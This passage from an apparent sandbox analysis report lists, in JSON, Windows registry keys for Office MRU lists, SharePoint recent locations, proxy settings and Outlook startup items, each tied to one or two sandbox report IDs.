42","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 1\\SITE 1","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 2\\SITE 2","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 3\\SITE 3","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 4\\SITE 4","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 5\\SITE 5","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 6\\SITE 6","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 7\\SITE 7","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 8\\SITE 8","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 9\\SITE 9","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 10\\SITE 10","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 11\\SITE 11","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 12\\SITE 12","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 13\\SITE 13","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 14\\SITE 14","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 15\\SITE 15","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 16\\SITE 16","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 17\\SITE 17","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 18\\SITE 18","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 19\\SITE 19","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 20\\SITE 20","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\O.6\\O.6","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\CONTROL PANEL\\MMCPL\\MLCFG32.CPL\\MLCFG32.CPL","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\>*=\\>*=","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\{/=\\{/=","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\+0=\\+0=","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\*0=\\*0=","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\41=\\41=","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\WINDOWS MESSAGING SUBSYSTEM\\PROFILES\\OUTLOOK\\9207F3E0A3B11019908B08002B2A56C2\\01023D11\\01023D11","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\PREVIOUSSESSIONDATA\\PREVIOUSSESSIONDATA","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\OPTIONS\\MSHTML\\INTERNATIONAL\\DEFAULT_CODEPAGEOUT\\DEFAULT_CODEPAGEOUT","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\OPTIONS\\MSHTML\\INTERNATIONAL\\PREFERREDVCARDCP\\PREFERREDVCARDCP","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\OPTIONS\\MSHTML\\INTERNATIONAL\\DEFAULT_CODEPAGEIN\\DEFAULT_CODEPAGEIN","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\VBG\\VBG","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\YFG\\YFG","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 